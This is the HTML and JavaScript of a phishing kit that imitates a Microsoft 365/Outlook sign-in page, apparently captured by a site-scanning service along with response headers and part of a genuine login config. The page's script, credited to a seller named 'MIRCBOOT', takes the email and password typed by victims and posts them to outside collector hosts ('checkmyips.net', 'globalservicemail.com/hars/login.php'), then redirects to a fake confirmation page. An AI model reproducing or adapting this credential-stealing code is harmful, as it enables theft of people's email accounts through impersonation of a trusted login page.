    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
152.199.23.37 , United States, ASN15133 (EDGECAST, US),
Reverse DNS
Software
ECAcc (lhd/371C) /
Resource Hash
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

x-ms-blob-type
BlockBlob
date
Wed, 10 Mar 2021 10:27:59 GMT
content-encoding
gzip
content-md5
77s7HX/qO+HbHX0PjIhH1A==
age
2250911
x-cache
HIT
content-length
19615
x-ms-lease-status
unlocked
last-modified
Thu, 11 Feb 2021 19:27:28 GMT
server
ECAcc (lhd/371C)
etag
0x8D8CEC311CB1846
vary
Accept-Encoding
content-type
text/css
access-control-allow-origin
*
x-ms-request-id
8a081d76-e01e-0094-231f-017244000000
access-control-expose-headers
x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
cache-control
public, max-age=31536000
x-ms-version
2009-09-19
accept-ranges
bytes
ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js
aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ Frame 83F5 		0
12 KB 		Other
General
Check archive.org
Download Go to
Full URL
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and 